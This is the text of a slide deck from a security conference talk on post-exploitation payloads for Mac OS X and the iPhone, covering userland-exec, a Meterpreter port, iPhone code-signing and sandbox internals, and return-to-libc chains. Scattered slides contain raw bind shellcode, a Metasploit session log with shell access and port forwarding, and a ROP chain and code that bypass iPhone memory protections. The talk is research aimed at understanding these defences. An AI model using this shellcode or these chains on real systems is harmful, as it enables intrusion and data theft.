SlideShare ist ein Scribd-Unternehmen logo
1 von 119
Fun and Games with
Mac OS X and iPhone Payloads
Charlie MIller                    Vincenzo Iozzo
Independent Security Evaluators   Zynamics & Secure Network
cmiller@securityevaluators.com    vincenzo.iozzo@zynamics.com
Who we are
 Charlie
    First to hack the iPhone, G1 Phone
    Pwn2Own winner, 2008, 2009
    Author: Mac Hackers Handbook
    Chairman, No More Free Bugs foundation ;)

 Vincenzo
    Student at Politecnico di Milano
    Security Consultant at Secure Network srl
    Reverse Engineer at Zynamics GmbH
Agenda

Background
Userland-exec
Meterpreter
iPhone security architecture
iPhone payloads
Background
Mac OS X and iPhone stats
 Mac OS X market share continues to rise
   Net Applications’ Feb 2009 report: 9.6% of browsers
   were on Mac OS X
 Some academics suggest 16% is the tipping point for
 malware authors
 50% of smartphone browsers in US are iPhone (33% for
 the world)
 9/10 girls like Macs better than PC’s
Some previous work
 OS X Heap Exploitation Techniques, nemo
 Mac OS X Shellcode Tricks, H D Moore
 Breaking Mac OS X, Archibald, van Sprundel
 Abusing Mach on Mac OS X, nemo
 Hacking Macs for Fun and Profit, Dai Zovi, Miller
 Engineering Heap Overflow Exploits with JavaScript,
 Daniel, Honoroff, Miller
 Month of Apple Bugs
This talk
 Focus is on post-exploitation
    You have to get EIP/PC
 Interesting payloads for Mac OS X
    Integrated in Metasploit for easy access
 Up to date iPhone security information (as discovered 2 days ago)
    First payloads for factory iPhone 2
    First time ways to inject executable code into a process in
    iPhone 2.0 is discussed
Userland-exec
Mach-O file
• Header structure: information on the target
  architecture and options to interpret the file
• Load commands: symbol table location, registers
  state
• Segments: define regions of virtual memory,
  contain sections with code or data
Mach-O representation
Segment and Sections


                           segment                                               section




Virtual address   Virtual memory     File Offset   File Size   Virtual Address   Virtual memory   File Offset
0x1000            size 0x1000        0x0           0x1000      0x1d54            size             0xd54
                                                                                 0x275
Let your Mach-O fly!
•   Userland-exec
    • Execute an application without the kernel
•   Technique was presented at BH DC for Mac OS X
•   This talk covers technique and some applications of it to
    Mac OS X
WWW
•   Who: an attacker with a remote code execution in his
    pocket
•   What: the attack is two-staged. First the shellcode
    receives the binary to exec, then runs the auto-loader
    contained in the prepared binary
•   Why: anti-forensics, high level languages payloads (aka
    writing assembly sucks), more!
What kind of binaries?
•   Any Mach-O file, from ls to Safari
•   In real life, probably stuff like keyboard sniffers, other not-
    so-nice programs
What normally happens

 You want to run your binary: mybin
 execve system call is called
 Kernel parses the binary, maps code and data, and
 creates a stack for the binary
 Dyld resolves dependencies and jumps to the binary entry
 point
What Mach-O on the Fly does

 Craft a binary which contains a stack identical to the one
 created by the kernel and a piece of code which mimics
 the kernel
 Send binary to exploited process
 Do some cleanup, jump to the dynamic linker entry point
 (as the kernel would do)
In a picture
Stack
•   Mach-O file base address
•   Command line arguments
•   Environment variables
•   Execution path
•   All padded
Stack representation
           Mach-o         Stack Pointer
           Address
            Argc
            Argv[]
               0
            Envp[]
               0
         exec_path ptr
               0
           exec_path
         Argv[] strings
         Envp[] strings
Auto-loader
•   Embedded in binary
•   Impersonates the kernel
•   Un-maps the old binary
•   Maps the new one
Auto-loader description
• Parses the binary
• Reads the virtual addresses of the injected
  binary segments
• Unloads the attacked binary segments
  pointed by the virtual addresses
• Loads the injected binary segments
Auto-loader description(2)
• Maps the crafted stack referenced by
  __PAGEZERO
• Cleans registers
• Cleans some libSystem variables
• Jumps to dynamic linker entry point
We do like pictures, don’t we?
      Victim’s process address space
    TEXT      DATA LINKEDIT SEGMENT
                               -N




    TEXT     DATA    LINKEDIT SEGMENT-
                                    N
Infected binary
• We need to find a place to store the auto-
  loader and the crafted stack
• __PAGEZERO infection technique
• Cavity infector technique
__PAGEZERO INFECTION
• Change __PAGEZERO protection flags with
  a custom value
• Store the crafted stack and the auto-loader
  code at the end of the binary
• Point __PAGEZERO to the crafted stack
• Overwrite the first bytes of the file with the
  auto-loader address
Binary layout
              MODIFIED HEADER




           INFECTED __PAGEZERO




          load commands and segments




            sections and binary data




                 SHELLCODE




               CRAFTED STACK
Let’s clean something up
• We need to clean up some variables in
  order to make the attack work
• They are stored in libSystem
• They are not exported
• ASLR for libraries makes this non-trivial
• No dlopen/dlsym combo
Defeat ASLR using the
dynamic linker

 The dynamic linker has a list of the linked libraries
 We can access this list by using some of its function
 Remember that we want to perform everything in memory
Useful dyld functions
• _dyld_image_count() used to retrieve the
  number of linked libraries of a process.
• _dyld_get_image_header() used to retrieve the
  base address of each library.
• _dyld_get_image_name() used to retrieve the
  name of a given library.
Find ‘em
• Parse dyld load commands
• Retrieve __LINKEDIT address
• Iterate dyld symbol table and search for the
  functions name in __LINKEDIT
Back to libSystem
• Non-exported symbols are taken out from
  the symbol table when loaded
• Open libSystem binary, find the variables in
  the symbol table
• Adjust variables to the base address of the
  in-memory __DATA segment
Results
• Run a binary on an arbitrary machine
• No traces on the hard-disk
• No execve(), the kernel doesn’t know about
  us
• It works with every binary
• It is possible to write payloads in a high
  level language
Mach-O Fly Payload (x86)

     Not much bigger than bind shellcode
     A lot of the work is in preparing the binary to send
char shellcode[] =
"x31xc0x50x40x50x40x50x50xb0x61xcdx80x99x89xc6x52"
"x52x52x68x00x02x04xd2x89xe3x6ax10x53x56x52xb0x68"
"xcdx80x52x56x52xb0x6axcdx80x52x52x56x52xb0x1excd"
"x80x89xc3x31xc0x50x48x50xb8x02x10x00x00x50xb8x07"
"x00x00x00x50xb9x40x4bx4cx00x51x31xc0x50x50xb8xc5"
"x00x00x00xcdx80x89xc7x31xc0x50x50x6ax40x51x57x53"
"x53xb8x1dx00x00x00xcdx80x57x8bx07x8dx04x38xffxe0"
Demo
Meterpreter
Meterpreter
 An advanced Metasploit payload
 Bring along your own tools, don’t trust system tools
 Stealthier
    instead of exec’ing /bin/sh and then /bin/ls, all code runs within the
    exploited process
    Meterpreter doesn’t appear on disk
 Modular: Can upload modules which include additional functionality
 Better than a shell
    Upload, download, and edit files on the fly
    Redirect traffic to other hosts (pivoting)
Pivoting

           Attacker

 Surf to
intranet
  sites
                                       Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker

 Surf to
intranet
  sites
                                       Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Pivoting

           Attacker         Bind channel to
                               local port
 Surf to
intranet
  sites
                                              Intranet
                             Attack
                             other
                            machines

               Metasploit
Meterpreter for Windows
                          Target

Metasploit
Meterpreter for Windows
                          Target

Metasploit
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target

Metasploit
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target

Metasploit
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
             Upload main Meterpreter DLL
Metasploit
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
             Upload main Meterpreter DLL
Metasploit                                     Meterpreter
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
             Upload main Meterpreter DLL
Metasploit                                     Meterpreter
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
              Upload main Meterpreter DLL
Metasploit                                     Meterpreter
             Upload Meterpreter components
                 Enable Ruby client code
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
              Upload main Meterpreter DLL
Metasploit                                     Meterpreter
             Upload Meterpreter components       stdapi
                 Enable Ruby client code
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
              Upload main Meterpreter DLL
Metasploit                                     Meterpreter
             Upload Meterpreter components       stdapi
   stdapi        Enable Ruby client code
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
              Upload main Meterpreter DLL
Metasploit                                     Meterpreter
             Upload Meterpreter components       stdapi
   stdapi        Enable Ruby client code
                                                  priv
Meterpreter for Windows
             Exploit with DLL inject payload
                                               Target
              Upload main Meterpreter DLL
Metasploit                                     Meterpreter
             Upload Meterpreter components       stdapi
   stdapi        Enable Ruby client code
                                                  priv
    priv
Meterpreter for Windows
                 Exploit with DLL inject payload
                                                     Target
                  Upload main Meterpreter DLL
Metasploit                                           Meterpreter
                Upload Meterpreter components          stdapi
   stdapi           Enable Ruby client code
                                                        priv
    priv
             Communicate over Meterpreter channels
Meterpreter for Windows
                 Exploit with DLL inject payload
                                                     Target
                  Upload main Meterpreter DLL
Metasploit                                           Meterpreter
                Upload Meterpreter components          stdapi
   stdapi           Enable Ruby client code
                                                        priv
    priv
             Communicate over Meterpreter channels
“Macterpreter”
 Port of Metasploit’s Meterpreter to Mac OS X targets
 Uses inject_bundle Metasploit payload
 Uses NSCreateObjectFileImageFromMemory(), NSLinkModule()
   Doesn’t touch disk, doesn’t show up with vmmap
 Main Macterpreter bundle is responsible for channels, loading
 extensions
   Binary compatible with Windows Meterpreter
   Shares most of the source with it
Injectable Bundle Skeleton
 #include <stdio.h>
 extern void init(void) __attribute__ ((constructor));
 void init(void)
 {
    // Called implicitly when loaded
 }

 int run(int socket_fd)
 {
     // Called explicitly by inject_payload
 }

 extern void fini(void) __attribute__ ((destructor));
 void fini(void)
 {
     // Called implicitly when/if unloaded
 }

 Compile with:
 % cc -bundle -o foo.bundle foo.c
Mach-O Staged Bundle
Injection Payload
First stage (remote_execution_loop, ~250 bytes)
   Establish TCP connection
   Read and execute code fragment, write returned result back to socket
Second stage (inject_bundle, ~350 bytes)
   Read bundle file into mmap’d memory
   Lookup and call NSCreateObjectFileImageFromMemory() and
   NSLinkModule() in dyld via familiar “ror 13” hash method
Third stage (compiled bundle, can be as large as needed)
   Does whatever you want in C/C++/Obj-C using any system Frameworks!
   Pure in-memory injection, not written to disk
macapi extension
 Contains most of what the Windows stdapi extension
 provides
   Filesystem: ls, mkdir, rm, upload, download, edit, etc
   Pivoting: TCP channels
   Processes: ps, kill, getpid, execute, etc
   Network: ifconfig
   Misc: Reboot, sysinfo, isight image capture
Limitations
Since it is binary compatible with Windows Meterpreter client, some
data is lost
   i.e. “ls” doesn’t return as much as it could
Can’t migrate to other processes
   Processes typically don’t have permission to inject code into other
   processes...Mac OS X is actually more secure here!
Some things in the stdapi are unimplemented, either because I got lazy
or didn’t know how to do it
   Messing with the routing table, user idle time
Feel free to add to this or make new extensions
   Its C code, not Ruby :)
Demo
$ ./msfcli exploit/osx/test/exploit RHOST=192.168.1.182 RPORT=1234 LPORT=4444 PAYLOAD=osx/
x86/meterpreter/bind_tcp E
[*] Started bind handler
[*] Sending stage (387 bytes)
[*] Sleeping before handling stage...
[*] Uploading Mach-O bundle (50620 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.231:37335 -> 192.168.1.182:4444)

meterpreter > use stdapi
Loading extension stdapi...success.
meterpreter > pwd
/Users/cmiller/metasploit/trunk
meterpreter > ls

Listing: /Users/cmiller/metasploit/trunk
========================================

Mode               Size   Type   Last modified                  Name
----               ----   ----   -------------                  ----
40755/rwxr-xr-x    816    dir    Tue Feb 24 14:48:24 CST 2009   .
40755/rwxr-xr-x    102    dir    Wed Feb 18 22:28:25 CST 2009   ..
100644/rw-r--r--   2705   fil    Sun Nov 30 16:00:11 CST 2008   README

meterpreter > getuid
Server username: cmiller
meterpreter > sysinfo
Computer: Charlie-Millers-Computer.local
OS      : ProductBuildVersion: 9G55, ProductCopyright: 1983-2008 Apple Inc., ProductName: Mac
OS X, ProductUserVisibleVersion: 10.5.6, ProductVersion: 10.5.6
meterpreter > execute -i -c -f /bin/sh
Process created.
Channel 1 created.
id
uid=501(cmiller) gid=501(cmiller) groups=501(cmiller),98(_lpadmin),81(_appserveradm),
79(_appserverusr),80(admin)
exit
meterpreter > portfwd add -l 2222 -p 22 -r 192.168.1.182
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.182:22
meterpreter > exit
Meterpreter has userland-exec

 Prepare binary in advance
   Can use “builder”, just save off result
 Meterpreter (extension) forks, uses userland-exec
 Supports channelized input/output
 Demo
iPhone Security Architecture
“ASLR”

Mac OS X
  Randomizes library locations (except dyld)
  Doesn’t randomize heap, stack, executable image
iPhone
  Doesn’t randomize anything
  Addresses only rely on firmware version
NX bit


 x86: NX bit (Intel calls it XD)
    Only set on stack
    No restrictions on heap
    Heap may have (and does have) RWX pages
XN bit
 For ARM
 Stack and heap are protected
 No heap pages may be RWX
 Non-signed pages that are ever writable can never
 become executable (Factory iPhone only)*
 Difficult (impossible?) to inject code and run it*
            * except in one case to be discussed
Code signing

 All binaries and libraries must be signed by Apple
 OS X and iPhone share the same code for code signing,
 even if on OS X the policy is not enforced (yet)
 By using the last version of BinDiff we were able to verify
 that OS X kernel and iPhone kernel share a similarity of
 0.65 and 0.74 on the code signing code
One of the code signing functions inside the kernel
Some facts about code
signing
 On execve() the kernel searches for a segment
 LC_CODE_SIGNATURE which contains the signature
 If the signature is already present in the kernel it is
 validated using SHA-1 hashes and offsets
 If the signature is not found it is validated and allocated,
 SHA-1 hashes are checked too
 Hashes are calculated on the whole page, so we cannot
 write malicious code in the slack space
What’s the effect of code signing?

  When a page is signed the kernel adds a flag to that page



/* mark this vnode's VM object as having "signed pages" */
 kr = memory_object_signed(uip->ui_control, TRUE);
What if a page is not signed?

 We can still map a page (following XN policy) with RX
 permissions
 Whenever we try to access that page a SIGBUS is raised
 If we try to change permissions of a page to enable
 execution (using mprotect or vm_protect), the call fails*
How about libraries?

 No chance of loading libraries from memory due to these
 memory restrictions
 When a library is loaded the signature for the library is
 checked using a peculiar fcntl() with a cmd F_ADDSIGS
 and the signature
 If the signature is found, the “signed bit” is set on the
 page, otherwise a SIGBUS is raised
In a picture
History of iPhone research
 Version 1: Heap was RWX, easy to run shellcode
 Version 2: No RWX pages
   Thought: You could do RW -> RX (can on jailbroken)
 Testing this talk, I see that this isn’t true on factory phone
   CSW talks assumed jailbroken phone
   Thought: You can’t execute shellcode
 Can execute shellcode (discovered 2 days ago)!
return-to-mprotect doesn’t work
  memcpy(0x2ffff000, shellcode3, sizeof(shellcode3));
  if(mprotect(0x2ffff000,0x1000, PROT_EXEC | PROT_READ)){
     perror("mprotect");
  }

  void (*f)();
  f = 0x2ffff000;
  f();



mprotect: Permission denied
Program received signal: “EXC_BAD_ACCESS”.
(gdb) bt
#0 0x2ffff000 in ?? ()
Can’t get RX on heap
char *s = malloc(1024);
printf("s at %xn", s);
void (*f)();
unsigned int addy = s;
unsigned int ssize = 1024;
kern_return_t r ;
r = vm_protect( mach_task_self(), (vm_address_t) addy, ssize, FALSE,
VM_PROT_READ |VM_PROT_EXECUTE);
if(r==KERN_PROTECTION_FAILURE){
   printf("too muchn");
}
f = s;
f();


s at 81d400
too much
Program received signal:              “EXC_BAD_ACCESS”.
(gdb) bt
#0 0x0081d400 in ?? ()
What about changing
already executable code?
void (*f)();
unsigned int addy = 0x2128;
unsigned int ssize = 0x10;
kern_return_t r = vm_protect( mach_task_self(), (vm_address_t)
addy, ssize, FALSE, VM_PROT_READ |VM_PROT_WRITE);
if(r==KERN_PROTECTION_FAILURE){
   printf("too muchn");
}       f = addy;
memcpy(addy, shellcode3, 8);
f();

too much
Program received signal: “EXC_BAD_ACCESS”.
(gdb) x/i $pc
0x314782f0 <memmove+604>: strbne r3, [r0], #1
(gdb) print /x $r0
$1 = 0x2128
What about re-writing shared code
  segments?
void (*f)();
unsigned int addy = 0x31414530; // getchar()
unsigned int ssize = sizeof(shellcode3);
kern_return_t r ;
r = vm_protect( mach_task_self(), (vm_address_t) addy, ssize, FALSE,
VM_PROT_READ |VM_PROT_WRITE | VM_PROT_COPY);
if(r==KERN_SUCCESS){
    printf("vm_protect is cooln");
}

memcpy((unsigned int *) addy, shellcode3, sizeof(shellcode3));
f = (void (*)()) addy;
f();

printf("HERE I AMn");                                      foo:
*( (unsigned int *) 0) = 0xdeadbeef;                           mov  r0,   #1
                                                               mov  r1,   #2
                                                               mov  r3,   #3
                                                               mov  r4,   #4
                                                               mov  r5,   #5
                                                               mov  r6,   #6
                                                               b foo
Opps, code execution!
   vm_protect is cool
   ^C            <----- infinite loop
   (gdb) bt
   #0 0x31414530 in getchar ()
   ...
   (gdb) i r
   r0             0x1 1
   r1             0x2 2
   r2             0x0 0
   r3             0x3 3
   r4             0x4 4
   r5             0x5 5
   r6             0x6 6
So.....

 Can get shellcode running on a Factory iPhone (2.2.1)
 Need to return-to-libc
   mach_task_self()
   vm_protect()
   memcpy()
   jump to shellcode
Sandboxing

 Applications downloaded from the AppStore (or installed
 with Xcode) run in a sandbox
 Sandbox limits what applications can do
 Uses same mechanism as Mac OS X (Seatbelt kext)
 See /usr/share/sandbox/SandboxTemplate.sb
Excerpts from sandbox configuration
(deny file-write-mount file-write-umount)

; System is read only
(allow file-read*)
(deny file-write*)

; NOTE: Later rules override earlier rules.

; Private areas

(deny    file-write*
         (regex "^/private/var/mobile/Applications/.*$"))
(deny    file-read*
         (regex "^/private/var/mobile/Applications/.*$"))
…
; Permit reading and writing in the App container
(allow file-read*
        (regex "^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX(/|$)"))

(allow  file-write*
        (regex "^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX/(tmp|Library|
Documents)(/|$)"))

(allow   process-exec
         (regex #"^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX/.*.app(/|
$)"))
…
(deny process-fork)
…
(allow network*)
Outside the sandbox


●
    Apple installed apps like Safari, Mail, SMS are not in the
    same sandbox
●
    They are in a (less restrictive) sandbox
MobileSafari sandbox fun
(gdb) print (FILE *) fopen("/private/var/mobile/Library/SMS/sms.db", "rb")
$1 = (FILE *) 0x39435ff4
(gdb) print (int) fork()
$2 = -1




#dmesg
...
launchd[752] Builtin profile: MobileSafari (seatbelt)
...
MobileSafari 752 PARENTAGE_FORK DENY 1 (seatbelt)
Jailbroken vs Factory iPhones
 Jailbroken phones disable code signing
   Allows for running shell, gdb, sshd, python, etc
 Disabling code signing also disables some memory
 protections ... signed bit is ignored
 “return to mprotect” technique does work on jailbroken
 phones
 Any iphone talk (before today) that discusses this or other
 “shellcode” tacitly assumes phone is jailbroken
One jailbreak patch (vm_map)
#if CONFIG_EMBEDDED
if (cur_protection & VM_PROT_WRITE) {
   if (cur_protection & VM_PROT_EXECUTE) {
       printf("EMBEDDED: %s curprot cannot be write+execute. turning off executen",
       __PRETTY_FUNCTION__);
       cur_protection &= ~VM_PROT_EXECUTE;
   }
}
if (max_protection & VM_PROT_WRITE) {
   if (max_protection & VM_PROT_EXECUTE) {
       /* Right now all kinds of data segments are RWX. No point in logging that. */
       /* printf("EMBEDDED: %s maxprot cannot be write+execute. turning off executen",
       __PRETTY_FUNCTION__); */
       /* Try to take a hint from curprot. If curprot is not writable,
       * make maxprot not writable. Otherwise make it not executable.
       */
       if((cur_protection & VM_PROT_WRITE) == 0) {
          max_protection &= ~VM_PROT_WRITE;
       } else {
          max_protection &= ~VM_PROT_EXECUTE;   <------ NOP’d by jailbreak
       }
   }
}
assert ((cur_protection | max_protection) == max_protection);
#endif /* CONFIG_EMBEDDED */
Research on Factory phones sucks


 ...unless you have a 0-day in MobileSafari
 Must install apps using iPhone SDK
   Run in restrictive sandbox
   Need your $99 developer license
   gdb not full featured
Jailbroken iPhone payloads
 Jailbroken phones can use standard OS X ARM shellcode
   Can assume there is a /bin/sh!
 No NSCreateObjectFileImageFromMemory or NSLinkModule
 present
   Can use dlopen from disk
 Can create complex dylibs and load them with this
   GPS
   Listening device
Userland-exec for iPhone?
 Yes, for Jailbroken
 ....maybe for factory
 Needed to make following simple changes
    The (fixed) location of dyld had to be changed from
    0x8fe00000 to 0x2fe00000
    vm_protect calls requesting RWX pages had to be changed to
    request RW then RX
    Embedded loader assembly had to be ported from x86 to
    ARM
Demo
Factory iPhone Payloads
How to run code?


 Can’t write and execute code from unsigned pages
 Can’t write to file and exec/dlopen
 Nothing is randomized
 Can use return-to-libc
ARM basics
 16 32-bit registers, r0-r15

    r13 = sp, stack pointer

    r14 = lr, link register - stores return address

    r15 = pc, program counter

 RISC - few instructions, mostly uniform length

    Placing a dword in a register usually requires more than 1
    instruction

 Can switch to Thumb mode (2 or 4 byte instructions)
System calls
 swi 128 instruction

 syscall number in r12

     see /usr/include/syscall.h (same as desktop)

 exit(0)


                       mov   r12, #1
                       mov   r0, #0
                       swi   128
Function calls
 Instead of {jmp, call} you get {b, bl, bx, blx}

 b (branch) changes execution to offset from pc specified

 bl does same but sets lr to next instruction (ret address)
 •   In particular, ret addy not on stack

 bx/blx similar except address is absolute

 pc is a general purpose register, i.e. mov pc, r1 works

 First 4 arguments passed in r0-r3, rest on the stack
Example, ARM
Example, Thumb
Return-to-libc, x86

 Reuse executable code already in process
 Layout data near ESP such that arguments and return
 addresses are used from user supplied data
 This is a pain....
    Typically, quickly try to call system() or a function to
    disable DEP (or mprotect)
ARM issues

 Function arguments passed in registers, not on stack
   Must always find code to load stack values into
   registers
 Can’t “create” instructions by jumping to middle of
 existing instructions (unlike x86)
 Return address not always stored on stack
Vibrating payload
 The second ever iPhone payload - v 1.0.0
 Replicate what happens when a text message is received:
 vibrate and beep
 We want to have the following code executed


AudioServicesPlaySystemSound(0x3ea);
exit(0);
Set LR and PC
 shellcode[0] =0x11112222;
 shellcode[1] =0x33334444;
 shellcode[2] =0x55556666;
 // Set LR and PC
 shellcode[3] =0x314d83d8;   // PC


 0x314d83d8: ldmia sp!, {r7, lr}
 0x314d83dc: add sp, sp, #16 ; 0x10
 0x314d83e0: bx lr
Set R0-R3

  shellcode[5] =0x314e4bec;   // LR / PC




0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
Call AudioServicePlaySystemSound
  shellcode[10]=0x000003ea;   //   r0
  shellcode[11]=0x00112233;   //   r1
  shellcode[12]=0xddddeeee;   //   r2
  shellcode[13]=0xffff0000;   //   r3
  shellcode[14]=0x34945564;   //   PC

  // LR hasn’t changed
  // is still 0x314e4bec

0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
Call _exit

 shellcode[15]   =0x11112222;   //   r0
 shellcode[16]   =0x33324444;   //   r1
 shellcode[17]   =0x55536666;   //   r2
 shellcode[18]   =0xddd4eeee;   //   r3
 shellcode[19]   =0x31463018;   //   PC
Demo!
Return-to-libc for heap overflows?

 Yes, more difficult
 Must set sp to point to user controlled data
File stealing payload


 The original iPhone shellcode!
 See paper for full payload (around 80 dwords)
 Need to keep track of return values (descriptors)
   A couple of tricks to do this
Return values are hard(er)



   If we use what we did before, upon return R0 is
   overwritten :(




0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
Instead
   Look for code that calls open and then returns
   LR will be set to 0x3141b2b5 by blx instruction
   Pop’s PC off the stack and retains the value of R0



0x3141b2b1 <creat+9>: blx 0x3141d544 <open>
0x3141b2b5 <creat+13>: pop {r7, pc}
A nice LR
Details

 Loads r1, r2 from high registers
 Calls read (and sets LR to right after read)
 If R0 >= 0, it pops R2, R4-R7, PC off the stack
 Doesn’t destroy R0
 This is a great place to have LR set to for
   socket, connect, write
One final detail
 Can save the value of R0 to the spot on the stack where it
 is expected




0x3066dc6b; // pc str r0, [r6, r3], pop {r4-r7,pc}
Demo!
Conclusions
 Until now, Mac OS X has had few payload options
 Now there is userland-exec and Macterpreter
 Jailbroken phones can use return-to-mprotect
 Factory iPhones are hard to write payloads for
   but its possible!
 You can do it purely with return-to-libc, but you don’t have
 to
Questions?

Weitere ähnliche Inhalte

Was ist angesagt?

[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...
[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...
[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...srkedmi
 
Fusioninventory openworldforum-paris-2011-september
Fusioninventory openworldforum-paris-2011-septemberFusioninventory openworldforum-paris-2011-september
Fusioninventory openworldforum-paris-2011-septemberGonéri Le Bouder
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Shota Shinogi
 
Is That A Penguin In My Windows?
Is That A Penguin In My Windows?Is That A Penguin In My Windows?
Is That A Penguin In My Windows?zeroSteiner
 
Exploitation and State Machines
Exploitation and State MachinesExploitation and State Machines
Exploitation and State MachinesMichael Scovetta
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidE Hacking
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesenSilo
 
Captain Hook: Pirating AVs to Bypass Exploit Mitigations
Captain Hook: Pirating AVs to Bypass Exploit MitigationsCaptain Hook: Pirating AVs to Bypass Exploit Mitigations
Captain Hook: Pirating AVs to Bypass Exploit MitigationsenSilo
 
Android is NOT just 'Java on Linux'
Android is NOT just 'Java on Linux'Android is NOT just 'Java on Linux'
Android is NOT just 'Java on Linux'Tetsuyuki Kobayashi
 
Process injection - Malware style
Process injection - Malware styleProcess injection - Malware style
Process injection - Malware styleSander Demeester
 
Rootkit&honeypot aalonso-dcu-dec09
Rootkit&honeypot aalonso-dcu-dec09Rootkit&honeypot aalonso-dcu-dec09
Rootkit&honeypot aalonso-dcu-dec09Angelill0
 
JAVA AND ANDROID OS_PRESENTATION
JAVA AND ANDROID OS_PRESENTATIONJAVA AND ANDROID OS_PRESENTATION
JAVA AND ANDROID OS_PRESENTATIONBenjamin Agboola
 
Practical Windows Kernel Exploitation
Practical Windows Kernel ExploitationPractical Windows Kernel Exploitation
Practical Windows Kernel ExploitationzeroSteiner
 
Overview of Android binder IPC implementation
Overview of Android binder IPC implementationOverview of Android binder IPC implementation
Overview of Android binder IPC implementationChethan Pchethan
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013midnite_runr
 
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)Nate Lawson
 

Was ist angesagt? (20)

[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...
[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...
[Usenix's WOOT'14] Attacking the Linux PRNG and Android - Weaknesses in Seedi...
 
Fusioninventory openworldforum-paris-2011-september
Fusioninventory openworldforum-paris-2011-septemberFusioninventory openworldforum-paris-2011-september
Fusioninventory openworldforum-paris-2011-september
 
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
Introduction of ShinoBOT (Black Hat USA 2013 Arsenal)
 
Is That A Penguin In My Windows?
Is That A Penguin In My Windows?Is That A Penguin In My Windows?
Is That A Penguin In My Windows?
 
Android Attacks
Android AttacksAndroid Attacks
Android Attacks
 
Exploitation and State Machines
Exploitation and State MachinesExploitation and State Machines
Exploitation and State Machines
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in Android
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniques
 
Captain Hook: Pirating AVs to Bypass Exploit Mitigations
Captain Hook: Pirating AVs to Bypass Exploit MitigationsCaptain Hook: Pirating AVs to Bypass Exploit Mitigations
Captain Hook: Pirating AVs to Bypass Exploit Mitigations
 
Android is NOT just 'Java on Linux'
Android is NOT just 'Java on Linux'Android is NOT just 'Java on Linux'
Android is NOT just 'Java on Linux'
 
Process injection - Malware style
Process injection - Malware styleProcess injection - Malware style
Process injection - Malware style
 
Rootkit&honeypot aalonso-dcu-dec09
Rootkit&honeypot aalonso-dcu-dec09Rootkit&honeypot aalonso-dcu-dec09
Rootkit&honeypot aalonso-dcu-dec09
 
JAVA AND ANDROID OS_PRESENTATION
JAVA AND ANDROID OS_PRESENTATIONJAVA AND ANDROID OS_PRESENTATION
JAVA AND ANDROID OS_PRESENTATION
 
Practical Windows Kernel Exploitation
Practical Windows Kernel ExploitationPractical Windows Kernel Exploitation
Practical Windows Kernel Exploitation
 
Xvisor: embedded and lightweight hypervisor
Xvisor: embedded and lightweight hypervisorXvisor: embedded and lightweight hypervisor
Xvisor: embedded and lightweight hypervisor
 
Overview of Android binder IPC implementation
